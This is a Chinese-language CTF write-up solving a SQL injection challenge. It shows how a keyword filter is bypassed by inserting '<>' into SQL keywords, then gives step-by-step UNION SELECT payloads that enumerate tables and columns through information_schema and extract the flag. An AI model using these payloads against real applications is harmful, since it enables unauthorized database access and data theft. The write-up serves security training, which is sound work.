“百度杯”CTF比赛 九月场 SQL 常规流程的注入
题目内容:
出题人就告诉你这是个注入,有种别走!
1 注入点直接给出id=?
用 or 1=1 和 and 1=2测试
结果服务器很耿直的说inj code!
看起来是对输入的参数进行了检测,想办法绕过就行了
得出结果是在敏感语句中加<>就可以,不过像and和or可以直接换成&&与||
2 order by测试字段长度
order by也是敏感字字符,绕过后发现字段数为3
?id=1 ord<>er by 3
//3一下都可以正常输出
//4就得不到结果
?id=1 union sel<>ect 1,2,3 //检测可以输出的位点,本题为1和2
3 正式开始注入
联合查询
?id=1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
//直接找出当前使用的数据库的所有表
//结果为info,users
?id=1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'
//字段名字
//id,title,flAg_T5ZNdrm
?id=1 union sel<>ect 1,flAg_T5ZNdrm,3 from info
//输出flag